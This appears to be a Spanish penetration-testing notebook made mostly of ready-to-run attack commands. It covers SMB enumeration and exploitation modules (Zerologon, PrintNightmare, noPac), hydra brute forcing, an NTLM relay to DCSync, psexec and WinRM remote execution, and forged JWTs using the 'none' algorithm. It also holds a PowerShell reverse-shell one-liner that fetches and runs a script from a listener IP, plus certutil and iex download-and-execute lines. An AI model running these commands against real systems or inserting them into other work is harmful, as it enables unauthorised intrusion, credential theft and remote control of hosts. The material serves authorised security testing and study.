enum4linux -a -u $USER -p $PASS $IP
```

#### Con autenticación

{% code overflow="wrap" %}

```bash
NET='192.168.1.0/24'
USER='Administrator'
PASS='password123'
DC='dc.xtormincorp.local'
netexec smb $NET -u $USER -p $PASS -d $DC --shares
```

{% endcode %}

```bash
IP='192.168.1.100'
USER='Administrator'
PASS='password123'
netexec smb $IP -u $USER -H $HASH
```

### Módulos de Netexec

Siendo, por ejemplo, `xtormincorp` el nombre del dominio y `xtormin` el usuario:

{% code overflow="wrap" %}

```bash
USER='xtormincorp\xtormin'
PASS='password123'

netexec smb scope.txt -u $USER -p $PASS -M coerce_plus --log "netexec_coerceplus_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M petitpotam --log "netexec_petitpotam_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M zerologon --log "netexec_zerologon_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M printnightmare --log "netexec_printnightmare_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M smbghost --log "netexec_smbghost_$(date +%Y%m%d).log"

netexec smb scope.txt -u $USER -p $PASS -M nopac --log "netexec_nopac_$(date +%Y%m%d).log"
```

{% endcode %}

### Enumeración de discos

<pre class="language-bash"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'
<strong>netexec smb $IP -u $USER -p $PASS --disks
</strong></code></pre>

### Enumeración de usuarios

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Usuarios locales
netexec smb $IP -u $USER -p $PASS --loggedon-users --log "netexec_loggedonusers_$(date +%Y%m%d).log"

# Usuarios del dominio
netexec smb $IP -u $USER -p $PASS --users --log "netexec_users_$(date +%Y%m%d).log"
<strong>
</strong><strong># Vía RID Cycling
</strong>netexec smb $IP -u $USER -p $PASS --rid-brute --log "netexec_ridbrute_$(date +%Y%m%d).log"
</code></pre>

Enumeración de grupos

{% code overflow="wrap" %}

```bash
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

# Grupos locales
netexec smb $IP -u $USER -p $PASS --local-groups --log "netexec_localgroups_$(date +%Y%m%d).log"

# Grupos del dominio
netexec smb $IP -u $USER -p $PASS --groups --log "netexec_groups_$(date +%Y%m%d).log"
```

{% endcode %}

### Acceso a recursos

<pre class="language-bash"><code class="lang-bash">USER='Administrator'
PASS='password123'
IP='192.168.1.100'

<strong>smbmap -u $USER -p $PASS -H $IP
</strong>smbmap -u $USER -p $PASS -H $IP -R --exclude SYSVOL,IPC$
smbmap -u $USER -p $PASS -H $IP --download users$/user/azure.xml
</code></pre>

{% code overflow="wrap" %}

```bash
USER='Administrator'
PASS='password123'
IP='192.168.1.100'

netexec smb $IP -u $USER -p $PASS -M spider_plus --log "netexec_shares_spider_$(date +%Y%m%d).log"

netexec smb $IP -u $USER -p $PASS -M spider_plus -o READ_ONLY=False --log "netexec_shares_spider_noreadonly_$(date +%Y%m%d).log"
```

{% endcode %}

## Fuerza bruta

### Hydra

```bash
USER_FILE=user.txt
PASS_FILE=pass.txt
IP='192.168.1.101'
hydra -L $USER_FILE -P $PASS_FILE $IP smb
```

## Vulnerabilidades

### Firma SMB deshabilitada

```bash
IP='10.10.10.100'
LOG="netexec_smbsigning_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "Signing: False"
```

### SMBv1 habilitado

```bash
IP='10.10.10.100'
LOG="netexec_smbversion_$(date +%Y%m%d).log"
netexec smb $IP --log $LOG
cat $LOG | grep "SMBv1: True"
```

### **Sesiones nulas habilitadas**

{% code overflow="wrap" %}

```bash
IP='10.10.10.100'
netexec smb $IP -u '' -p '' --log "netexec_nullsessions_$(date +%Y%m%d).log"
```

{% endcode %}

### CVEs

#### Zerologon

Identificar si el DC ejecuta el servicio PrintSpooler:

```bash
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
```

Se ejecuta lo siguiente en una consola:

```bash
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
```

Se ejecuta lo siguiente en otra consola a la vez que el comando anterior:

```bash
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```

## Referencias

* <https://www.netspi.com/blog/technical-blog/network-pentesting/powerhuntshares-2-0-release/>
* <https://www.netexec.wiki/>

[^1]: 10.10.10.101

    10.10.10.102

    10.10.10.103

    ...

[^2]: 10.10.10.101

    10.10.10.102

    10.10.10.103

    dc.xtormincorp.local

    ...

[^3]: 10.10.10.102

    10.10.10.103

    dc.xtormincorp.local

    ...


# SNMP

<table data-header-hidden><thead><tr><th width="181"></th><th></th></tr></thead><tbody><tr><td><strong>Puerto/s</strong></td><td>161,162,10161,10162</td></tr><tr><td><strong>Protocolo/s</strong></td><td>UDP</td></tr><tr><td><strong>Nombre del servicio (nmap)</strong></td><td>snmp</td></tr></tbody></table>

## Enumeración

Enumeración de todos los sistemas con el servicio snmp:

```bash
nmap -sU -sV -p 161 -v -open -oA snmp-enum 192.168.1.0/24
```

Obtención de todos los servicios snmp con la comunidad "public" por defecto:

```bash
cat snmp-enum.gnmap | grep "(public)" | cut -d" " -f2 
```

Obtención de información vía snmp utilizando la comunidad public:

```bash
snmpwalk -c public -v2c $IP
```

## Vulnerabilidades

### SNMP 'GETBULK' (DDoS Reflejado)

La operación GETBULK de SNMP se utiliza para obtener un volumen grande de información en una única petición. Sin embargo, si estas peticiones no se realizan de forma autenticada, un atacante podría aprovecharse de ello para realizar un ataque de DDoS reflejado.

**¿Cómo se comprueba sin realizar un ataque de denegación de servicio?**

Simplemente enviando una petición 'GETBULK' a la víctima con una dirección IP de un tercero (el objetivo final del ataque DDoS) suplantada como dirección IP de origen. El host con servicio SNMP, al recibir la solicitud envía la respuesta (que es mucho mayor en tamaño que la solicitud original) a la dirección IP de origen suplantada.

Desde nuestra máquina atacante se captura el tráfico de la IP del host SNMP y puerto 161, donde podremos ver el tamaño de la petición y respuesta obtenida:

```bash
tcpdump -i eth0 -n host <IP host SNMP> and port 161
```

Para realizar la petición, por ejemplo, se realiza una petición de 500 iteraciones con OID 1.3.6.1.2.1.1.1.0:

```bash
snmpbulkget -Cr500 -c public -v2c <IP host SNMP> 1.3.6.1.2.1.1.1.0
```

Tras realizar esta petición con snmpbulkget, se puede obtener  el GetBulk(29) de la petición y la respuesta GetResponse(1247), evidenciando que la respuesta es mucho mayor que la petición realizada.

Si esto se hiciera de forma automatizada, se podría provocar un DDoS reflejado.


# SSH

## Enumeración

```bash
nxc ssh scope.txt
```

### Algoritmos y cifrados soportados

```bash
nmap -sV --script=ssh2-enum-algos -p 22 192.168.1.100
```

## Vulnerabilidades

### CVE-2024-6387 - RegreSSHion

```bash
git clone https://github.com/xaitax/CVE-2024-6387_Check
cd CVE-2024-6387_Check
python3 CVE-2024-6387_Check.py <ip>
python3 CVE-2024-6387_Check.py <ip> -p 22,2222
python3 CVE-2024-6387_Check.py -l <ip list.txt>
```

### CVE-2018-15473 - Enumeración de usuarios

<https://github.com/epi052/cve-2018-15473>

Para comprobar esta vulnerabilidad, se comprueba si la respuesta obtenida en el caso de un usuario existente y no existente en el sistema difiere.&#x20;

```bash
python3 ssh-username-enum.py 192.168.1.100 -u root
```

Si el usuario con nombre no existente (nombre *random* que no se sospeche que pueda estar creado en el sistema), no se obtendrá respuesta. Verificando que los usuarios para los que se tenga una respuesta satisfactoria, serán válidos.

```bash
python3 ssh-username-enum.py 192.168.1.100 -u noexists
```

Para obtener una respuesta en formato CSV de múltiples *hosts*:

{% code overflow="wrap" %}

```bash
#!/bin/bash

while read -r host; do
    # Ejecuta ssh-username-enum.py y almacena ambos resultados en variables
    NOUSER=$(python3 ssh-username-enum.py "$host" -u tarlogic | grep -q "found\!")
    USER=$(python3 ssh-username-enum.py "$host" -u root | grep -q "found\!")

    # Verifica los resultados de NOUSER y USER
    if [[ $? -eq 0 ]]; then
        if [[ $? -eq 0 ]]; then
            echo "$host;vulnerable"
        else
            continue
        fi
    else
        echo "$host;no vulnerable"
    fi
done < "$1"

```

{% endcode %}


# VNC

```
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS file:/root/Pentest/scope/services/vnc/vnc_hosts.txt
run
```


# Misc

## Ejecutar scripts de powershell en kali

## Reverse shell

Desde la máquina atacante:

```
C:\AD\Tools\netcat\nc64.exe -lvp 443
```

Desde la máquina víctima:

{% code overflow="wrap" %}

```powershell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-PowerShellTcp.ps1'));Power -Reverse -IPAddress 192.168.1.100 -Port 443

powershell.exe iex (iwr http://192.168.1.100/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 192.168.1.100 -Port 443
```

{% endcode %}

## Agregar excepción en el firewall

### Inbound

Command line:

```powershell
New-NetFirewallRule -DisplayName "Allow Port 443 Inbound" `
    -Direction Inbound `
    -LocalPort 443 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

```
New-NetFirewallRule -DisplayName "Allow Port 80 Inbound" `
    -Direction Inbound `
    -LocalPort 80 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

GUI:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F0YphpLIu8FWgaxLcFFni%2Fimage.png?alt=media&amp;token=8d735dde-e240-46af-a41f-e55688ccdeab" alt=""><figcaption></figcaption></figure>


# Transferencia de ficheros

## Servidores temporales

### SMB

{% tabs %}
{% tab title="Servidor SMB en Kali" %}
Se busca el binario de impacket-smbserver:

```bash
> locate smbserver

/usr/bin/impacket-smbserver
/usr/lib/python3/dist-packages/impacket/smbserver.py
/usr/lib/python3/dist-packages/impacket/__pycache__/smbserver.cpython-310.pyc
/usr/share/doc/python3-impacket/examples/smbserver.py
```

Se ejecuta una carpeta compartida vía SMB:

```bash
sharedfolder=/tmp/tempserver
mkdir $sharedfolder
cd $sharedfolder
impacket-smbserver share . -smb2support -username xtormin -password xtormin
```

{% endtab %}

{% tab title="Acceso desde Windows" %}
Se monta la carpeta vía CMD/Powershell:

```powershell
net use z: \\192.168.1.100\share /user:xtormin xtormin
```

Se accede a la carpeta compartida y se descargan los ficheros que se quieran:

```powershell
net use \\<IP de Kali>\share /u:xtormin xtormin
copy file.zip \\<IP de Kali>\share\
del file.zip
net use /d \\<IP de Kali>\share
```

{% endtab %}
{% endtabs %}

### HTTP

#### HFS

<https://www.rejetto.com/hfs/>

Se ejecuta el binario *hfs.exe* descargado desde la interfaz gráfica y se añaden los ficheros que se deseen exponer en el servidor web.

#### Python

```bash
python3 -m http.server 8000
```

## Descarga de ficheros

## Servidores temporales

### SMB

{% tabs %}
{% tab title="Servidor SMB en Kali" %}
Se busca el binario de impacket-smbserver:

```
> locate smbserver

/usr/bin/impacket-smbserver
/usr/lib/python3/dist-packages/impacket/smbserver.py
/usr/lib/python3/dist-packages/impacket/__pycache__/smbserver.cpython-310.pyc
/usr/share/doc/python3-impacket/examples/smbserver.py
```

Se sirve una carpeta compartida vía SMB:

```bash
sharedfolder=/tmp/tempserver
mkdir $sharedfolder
cd $sharedfolder
impacket-smbserver share . -smb2support -username xtormin -password xtormin
```

{% endtab %}

{% tab title="Acceso desde Windows" %}
Se monta la carpeta vía CMD/Powershell:

```powershell
net use z: \\192.168.1.100\share /user:xtormin xtormin
```

Se accede a la carpeta compartida y se descargan los ficheros que se quieran:

```powershell
net use \\<IP de Kali>\share /u:xtormin xtormin
copy file.zip \\<IP de Kali>\share\
del file.zip
net use /d \\<IP de Kali>\share
```

{% endtab %}
{% endtabs %}

### HTTP

#### HFS

<https://www.rejetto.com/hfs/>

Se ejecuta el binario *hfs.exe* descargado desde la interfaz gráfica y se añaden los ficheros que se deseen exponer en el servidor web.

#### Python

```bash
python3 -m http.server 8000
```

## Descarga y subida de ficheros

### Linux

{% code overflow="wrap" %}

```bash
wget "https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1"
```

{% endcode %}

### Windows

{% code overflow="wrap" %}

```powershell
iwr https://192.168.1.110/winPEASx64.exe -outputfile winpeas64.exe

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.5:8000/Azure-ADConnect.ps1')

.\certutil.exe -urlcache -split -f "http://legacy.ps1"
```

{% endcode %}

#### **Consideraciones**

### SSH

Descarga desde servidor remoto a local:

{% code overflow="wrap" %}

```powershell
USER='xtormin'
IP='192.168.1.100'
RUTASRV='C:/Users/xtormin/Documents/<archivo_zip>.zip'
RUTALOCAL='.'
scp $USER@$IP:$RUTASRV $RUTALOCAL
```

{% endcode %}

Subida desde local a servidor remoto:

```powershell
USER='xtormin'
IP='192.168.1.100'
RUTASRV='C:/Users/xtormin/Documents/<archivo_zip>.zip'
RUTALOCAL='.'
scp $RUTALOCAL $USER@$IP:$RUTASRV
```

### Git - Descarga de repositorios

En ocasiones, el navegador puede bloquear la descarga de ficheros que identifica como maliciosos. Una forma de descargarlos cuando es usando Git con su versión portable cuando no se pueda instalar o no se cuente con permisos de administrador local.

#### Git

<https://git-scm.com/download/win/>

```bash
cd PortableGit-2.46.2-64-bit
.\git-bash.exe
```

Esto abrirá una consola desde la que se podrá clonar el repositorio:

```bash
cd c/Pentest/Tools
git clone https://github.com/PowerShellMafia/PowerSploit.git
```

## Referencias

* <https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65>


# Cracking

### Ticket de kerberos

```bash
hashcat -m 18200 hash/svc-test.hc18200 /usr/share/wordlists/rockyou.txt --force
```


# Conexión remota

### Windows

#### Runas

```powershell
runas /user:xtormincorp\usuario powershell.exe
```

Para comprobar el acceso con el usuario no servirá whoami, en vez de ello sería mejor usar:

```powershell
nltest /dsgetdc:xtormincorp.local
```

#### PSExec

<table><thead><tr><th width="174.79736328125"></th><th></th></tr></thead><tbody><tr><td>Puerto</td><td><code>445/tcp (SMB)</code></td></tr><tr><td>Grupo requerido</td><td>Administradores</td></tr></tbody></table>

**Herramienta de Sysinternals:**

<https://learn.microsoft.com/es-es/sysinternals/downloads/psexec>

```powershell
psexec64.exe \\MACHINE_IP -u Administrator -p <password> -i cmd.exe
```

**Metasploit:**

```bash
use exploit/windows/smb/psexec
set RHOSTS file:/home/kali/scope.txt
set smbuser xtormin
set smbpass password123
exploit
```

{% code overflow="wrap" %}

```powershell
psexec -i -s powershell.exe # Ejecución de consola interactiva con el usuario actual
```

{% endcode %}

#### WinRM

<table><thead><tr><th width="174.79736328125"></th><th></th></tr></thead><tbody><tr><td>Puerto</td><td><p><code>5985/tcp</code> (WinRM HTTP)</p><p><code>5986/tcp</code> (WinRM HTTPS)</p></td></tr><tr><td>Grupo requerido</td><td>Remote Management Users</td></tr></tbody></table>

**CMD:**

```powershell
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
```

**PowerShell:**

Primero se debe crear un objeto PSCredential con las credenciales del usuario:

{% code overflow="wrap" %}

```powershell
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```

{% endcode %}

* Crear sesión activa:

```powershell
Enter-PSSession -Computername TARGET -Credential $credential
```

* Ejecutar ScriptBlocks vía WinRM:

```powershell
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
```

#### Netexec

```bash
IP='10.10.10.100'
USER='xtormin'
PASS='password123'
netexec winrm $IP -u $USER -p $PASS
```

### Linux

```bash
evil-winrm -i 192.168.1.100 -u <usuario> -p <contraseña>
```


# General


# Reconocimiento

## Información general

### Descubrimiento de directorios

#### Listas

* <https://github.com/six2dez/OneListForAll>
* <https://github.com/danielmiessler/SecLists>
* <https://www.sqrsec.com/view/downloads/api-fuzzing-lists>

{% code overflow="wrap" fullWidth="false" %}

```bash
$WORDLIST_PATH='~/wordlists'

wget https://raw.githubusercontent.com/six2dez/OneListForAll/refs/heads/main/onelistforallmicro.txt

wget https://raw.githubusercontent.com/six2dez/OneListForAll/refs/heads/main/onelistforallshort.txt

git clone https://github.com/danielmiessler/SecLists.git
```

{% endcode %}

#### Herramientas

<details>

<summary>GENOVEVA</summary>

<https://github.com/joseaguardia/GENOVEVA>

Generador de nombres rápido y versátil para ataques de fuerza bruta personalizados﻿. A partir de una lista de palabras, genera hasta 17,335,754 combinaciones por palabra, mezclando minúsculas, Capitalizadas, MAYÚSCULAS, L33T completa y parcial (para cada vocal y la letra "s"), formas invertidas, números de 1 a 4 dígitos, fechas en formato mmddyyyy desde 1950 hasta 2030, formato de fecha mmddyy, símbolos al final y símbolos entre el nombre y la fecha

</details>

<details>

<summary>Cook</summary>

<https://github.com/glitchedgitz/cook>

Un generador de listas de palabras todopoderoso, divisor, combinador, buscador, guardador; crea permutaciones y combinaciones de palabras, aplica distintos procesos de codificación/decodificación y todo lo que se necesita.

</details>

<details>

<summary>AssetNote</summary>

<https://wordlists.assetnote.io/>

Se usa la herramienta commonspeak2 para generar las listas de AssetNote.

<https://github.com/assetnote/commonspeak2/>

**commonspeak2** aprovecha los conjuntos de datos disponibles públicamente de Google BigQuery para generar listas de palabras de subdominios y descubrimiento de contenido.

</details>

### Rutas internas

#### Alojamiento de la aplicación web

```
/var/www/html/
/usr/share/nginx/html/
c:/xampp/htdocs
```


# Ataques y vulnerabilidades


# Herramientas automatizadas

La automatización es clave para agilizar la identificación de vulnerabilidades, aumentar la eficacia de las pruebas y ahorrar tiempo en la ejecución de las pruebas de seguridad que se quieran realizar.

De esta forma, es posible automatizar todas las pruebas posibles y poder dedicar mayor tiempo a pruebas que inicialmente solo es posible identificarlas de forma manual.

En esta sección, se detallarán algunas herramientas que permiten realizar pruebas de seguridad de forma automatizada.

## Gbounty

**gbounty** es una herramienta desarrollada por **BountySecurity** que permite la búsqueda automatizada de vulnerabilidades.

{% @github-files/github-code-block url="<https://github.com/BountySecurity/gbounty>" %}

```bash
go install -v github.com/BountySecurity/gbounty/cmd/gbounty@main
```

### Establecer objetivo/s

<table><thead><tr><th width="193">Acción</th><th width="638">Comando</th></tr></thead><tbody><tr><td>Una URL como objetivo</td><td><pre class="language-bash"><code class="lang-bash">gbounty -u https://example.com
</code></pre></td></tr><tr><td>Múltiples URL objetivo vía TXT</td><td><pre class="language-bash"><code class="lang-bash">gbounty -uf scope/urls.txt
</code></pre></td></tr><tr><td></td><td><pre><code>gbounty -rf requests.zip
</code></pre></td></tr><tr><td></td><td><pre><code>gbounty -rr request1.txt -rr request2.txt
</code></pre></td></tr></tbody></table>

```
gbounty -rr request1.txt -rr request2.txt
```

### Perfiles de escaneo

Enumerar tags de plantillas disponibles:

```
gbounty --print-tags -p /tools/gbounty-profiles
```

Esta lista de tags se puede incluir en el escáner según las pruebas que se quieran realizar, si no se quieren realizar todas, se puede añadir la lista de las que se deseen. Por ejemplo, se podría extraer los tags mostrados en el comando anterior y usar alguna IA para convertirlo al formato necesario en la herramienta:

{% code overflow="wrap" %}

```
Convierte la siguiente lista de palabras clave en una cadena de texto donde cada elemento esté en el formato -t "tag", separados por espacios: Blind XSS, Blind XXE, CORS, CVEs, Fuzzing Files, GraphQL, Open Redirect, Path_Traversal, RCE, SQLi, SQLi_BlindHost, SQLi_ContentLength, SQLi_StatusCode, SQLi_TimeBased, SSRF, SSTI, WordPress, X-Headers-BlindHost, XSS, XXE.
```

{% endcode %}

Ejemplos:

{% code overflow="wrap" %}

```bash
-t "Blind XSS" -t "XSS"

-t "Blind XXE" -t "XXE"

-t "SQLi" -t "SQLi_BlindHost" -t "SQLi_ContentLength" -t "SQLi_StatusCode" -t "SQLi_TimeBased"

-t "CVEs" -t "RCE" -t "SSRF" -t "SSTI"

-t "CORS" -t "Fuzzing Files" -t "GraphQL" -t "Open Redirect" -t "Path_Traversal"  -t "WordPress" -t "X-Headers-BlindHost"

-t "Blind XSS" -t "Blind XXE" -t "CORS" -t "CVEs" -t "Fuzzing Files" -t "GraphQL" -t "Open Redirect" -t "Path_Traversal" -t "RCE" -t "SQLi" -t "SQLi_BlindHost" -t "SQLi_ContentLength" -t "SQLi_StatusCode" -t "SQLi_TimeBased" -t "SSRF" -t "SSTI" -t "WordPress" -t "X-Headers-BlindHost" -t "XSS" -t "XXE"
```

{% endcode %}

Descargar plantillas de escaneo:

```
cd /tools
git clone https://github.com/BountySecurity/gbounty-profiles.git
```

Crear perfiles:

<https://github.com/BountySecurity/GBountyProfilesDesigner.git>

```
java -jar gbountyprofilesdesigner.jar
```

Se abrirá el programa donde se pueden crear los perfiles. Para más detalles:

<https://gbounty.bountysecurity.ai/gbounty-profiles-designer>

### Opciones generales

<table><thead><tr><th width="194">Acción</th><th>Comando</th></tr></thead><tbody><tr><td><strong>Añadir una cabecera a las peticiones realizadas</strong></td><td><pre class="language-bash" data-overflow="wrap"><code class="lang-bash">gbounty -u https://example.com -H "X-HackerOne-Research: xtormin"
</code></pre></td></tr><tr><td><strong>Incluir todas las peticiones y respuestas</strong></td><td><pre class="language-bash" data-overflow="wrap"><code class="lang-bash">gbounty -u https://example.com -a 
</code></pre></td></tr><tr><td><strong>Guardar el output en formato JSON</strong></td><td><pre class="language-bash" data-overflow="wrap"><code class="lang-bash">gbounty -u https://example.com -o "gbounty/output_$(date +'%Y%m%d_%H-%M-%S').json" -j
</code></pre></td></tr><tr><td><strong>Concurrencia</strong></td><td><pre class="language-bash" data-overflow="wrap"><code class="lang-bash">gbounty -uf scope/urls_burp.txt -c 5
</code></pre></td></tr><tr><td><strong>Perfiles de escaneo</strong></td><td><pre class="language-bash" data-overflow="wrap"><code class="lang-bash">gbounty -uf scope/urls_burp.txt -p /tools/gbounty-profiles
</code></pre></td></tr><tr><td><strong>Establecer sesión del escáner</strong></td><td><pre class="language-bash" data-overflow="wrap"><code class="lang-bash">-sos # Si se para el escáner (ej: Ctrl+C), se crea un ID que luego puede ser usado con el parámetro --from para continuar el escáner
</code></pre></td></tr><tr><td><strong>Retomar escáner</strong></td><td><pre class="language-bash"><code class="lang-bash">--from
</code></pre></td></tr></tbody></table>

### Ejemplos de comandos

```
--from
```

{% code overflow="wrap" %}

```bash
gbounty -uf scope/urls_burp.txt -H "X-HackerOne-Research: xtormin" -a -o "gbounty/output_$(date +'%Y-%m-%d_%H-%M-%S').json" -j -c 5 -p /tools/gbounty-profiles
```

{% endcode %}


# Autenticación


# Vulnerabilidades JWT

## JSON Web Tokens <a href="#json-web-tokens" id="json-web-tokens"></a>

### General <a href="#general" id="general"></a>

Es un estándar basado en JSON (Javascript Object Notation) para la creación de tokens de acceso que permiten la propagación de identidad y privilegios. El token está firmado por la clave del servidor, así que el cliente y el servidor son ambos capaces de verificar que el token es legítimo.

Los JSON Web Tokens están diseñados para ser compactos, poder ser enviados en las URLs -*URL-safe*- y ser utilizados en escenarios de [Single Sign-On](https://es.wikipedia.org/wiki/Single_Sign-On) (SSO).

El estándar de JWT se basa en otros estándares basados en JSON [JSON Web Signature](https://es.wikipedia.org/wiki/JSON_Web_Signature) ([RFC 7515](https://tools.ietf.org/html/rfc7515)) y [JSON Web Encryption](https://es.wikipedia.org/w/index.php?title=JSON_Web_Encryption\&action=edit\&redlink=1) ([RFC 7516](https://tools.ietf.org/html/rfc7516))

JWT = Datos en JSON criptográficamente firmados

JWE = JWT encriptado

Consideraciones:

* Utilizar JWT previene de los ataques CSRF. Pero puede seguir siendo vulnerable si se almacena en una cookie.
* Si se almacena en *local storage*, es susceptible a ataques *XSS*.
* Los JWTs son buenos contra ataques de dominio cruzado (*cross domain*).

#### Estructura <a href="#estructura" id="estructura"></a>

Están formados por 3 partes:

```
HEADER.PAYLOAD.SIGNATURE
```

* Una cabecera o *header*. Indentifica el algoritmo utilizado para generar la firma.
  * Algoritmos aceptados:
    * RSA.
    * HMAC.
    * Elliptic Curve.
    * None.

      ```
        header = '{"alg":"HS256","typ":"JWT"}'
      ```
* Un contenido o *payload*. Contiene los privilegios del token.
  * Valores:
    * iss: issuer
    * iat: issued at
    * nbf: “not before” (start date)
    * sub: subject
    * exp: expires at
  * Puede contener cualquier información, como: Nombre de usuario, email, rol, permisos, contraseñas.

    ```
      payload = '{"loggedInAs":"admin","iat":1422779638}'
    ```
* Una firma digital o *signature*. Que se calcula codificando la cabecera y el contenido en base64, concatenándose con un punto.

  ```
    key           = 'secretkey'
    unsignedToken = encodeBase64Url(header) + '.' + encodeBase64Url(payload)
    signature     = HMAC-SHA256(key, unsignedToken)
  ```

Generalmente los algoritmos de cifrado utilizados son HMAC con [SHA-256](https://es.wikipedia.org/wiki/SHA-2) (HS256) y [firma digital](https://es.wikipedia.org/wiki/Firma_digital) con [SHA-256](https://es.wikipedia.org/wiki/SHA-2) (RS256).

#### Cómo detectar tokens JWT <a href="#como-detectar-tokens-jwt" id="como-detectar-tokens-jwt"></a>

Normalmente empiezan con `eyJ0eXAi` o `eyJhbGci`.

* `eyJ0eXAi`= `{"typ"`
* `eyJhbGci`= `{"alg"`

Y un punto en los primeros 40-60 caracteres.

#### Convertir de B64String to B64URL <a href="#convertir-de-b64string-to-b64url" id="convertir-de-b64string-to-b64url"></a>

Sustitución de caracteres:

`+` -> `-`

`/` -> `_`

`=` -> \` \` (se elimina)

#### Obtener información en texto plano <a href="#obtener-informacion-en-texto-plano" id="obtener-informacion-en-texto-plano"></a>

<https://jwt.io/>

Ej:

```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inh0b3JtaW4iLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2MjY3MjA5NTR9.aWuLHlmBDuV3v_F0tCmbRz-pzoP4qCLcjfT4SQgN-Mq4hAfq_X16oiLhX9hKKIp2YMaaOwuW8-12o6vIHgUXDT6AZYTq2gX6mJLqYfGcqm6XLYMiINiTfVc8uZbGRl-wH5vs6je1L3qR6GcrmCNcAgjsDVbN61y7Vv2XMD5qZgwIBwZle4ZghRMG2hlDappWlHG_P7MbHExJvonlzGBxZAPV9w-01_dTiDcNLA7LW_suroK2l5GCxmvvCoCuyu0FnK6GpaKFKKOn9UZ0WqgC7i1HYqwJQHmWMsbEq-N-DrUnVppHviyaXnfAgsPb6U4dbMng32Hohyw7J6hkoXG9qA
```

### Ataques comunes <a href="#ataques-comunes" id="ataques-comunes"></a>

#### Fallo en la verificación de la firma <a href="#fallo-en-la-verificacion-de-la-firma" id="fallo-en-la-verificacion-de-la-firma"></a>

Muchas librerías JWT tienen un método para decodificar y otro para verificar el token:

* `decode()`. Decodifica el token sin verificar la firma.
* `verify()`. Decodifica y verifica el token.

Durante el desarrollo suele utilizarse el método `decode()` y cuando se pasa la aplicación a producción se suele olvidar cambiar el método por `verify()`.

#### Algoritmo *none* permitido <a href="#algoritmo-none-permitido" id="algoritmo-none-permitido"></a>

Si se cambia el algoritmo por *none* en alguna de sus siguientes variantes y se elimina el tercer campo del JWT dejando el punto final.

```
none
None
nOnE
NONE
```

Ej:

```
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.
eyJuYW1lIjoiSm9obiBEb2UiLCJ1c2VyX25hbWUiOiJqb2huLmRvZSIsImlzX2FkbWluIjp0cnVlfQ.
```

#### Confusión de algoritmos <a href="#confusion-de-algoritmos" id="confusion-de-algoritmos"></a>

Esta vulnerabilidad se da cuando la aplicación no comprueba que el algoritmo coincida con el algoritmo que se espera.

Muchas librerías no comprueban por defecto si el algoritmo coincide, por eso se utiliza la siguiente [Comprobación del algoritmo](https://xtormin.com/docs/pentesting/app-web/Sesiones/sessions/#comprobaci%C3%B3n-del-algoritmo) para verificarlo.

**ALGORITMOS**

| Algoritmo        | Clave de firma | Clave de verificación |
| ---------------- | -------------- | --------------------- |
| Asimétrico (RSA) | Clave privada  | Clave pública         |
| Simétrico (HMAC) | Contraseña     | Contraseña            |

> **Algoritmo asimétrico:** Cuando se utiliza una encriptación asimétrica, se publica la clave pública y se mantiene la clave privada en secreto. Esto permite firmar el token con la clave privada y que cualquiera pueda verificarla con la clave pública.

**RSA**

Si la clave pública está disponible, un atacante puede falsificar tokens:

* Cambiando el algoritmo del token por HMAC.
* Manipulando el resultado con el payload.
* Firmar el token con la clave pública detectada en la aplicación o en el JWT.
* Enviar el JWT de vuelta a la aplicación.

**HMAC**

La fortaleza de la firma vendrá determinada por la fortaleza de la contraseña. Si la aplicación utiliza una contraseña débil, se podrá llegar a obtener por medio de fuerza bruta.

**COMPROBACIÓN DEL ALGORITMO**

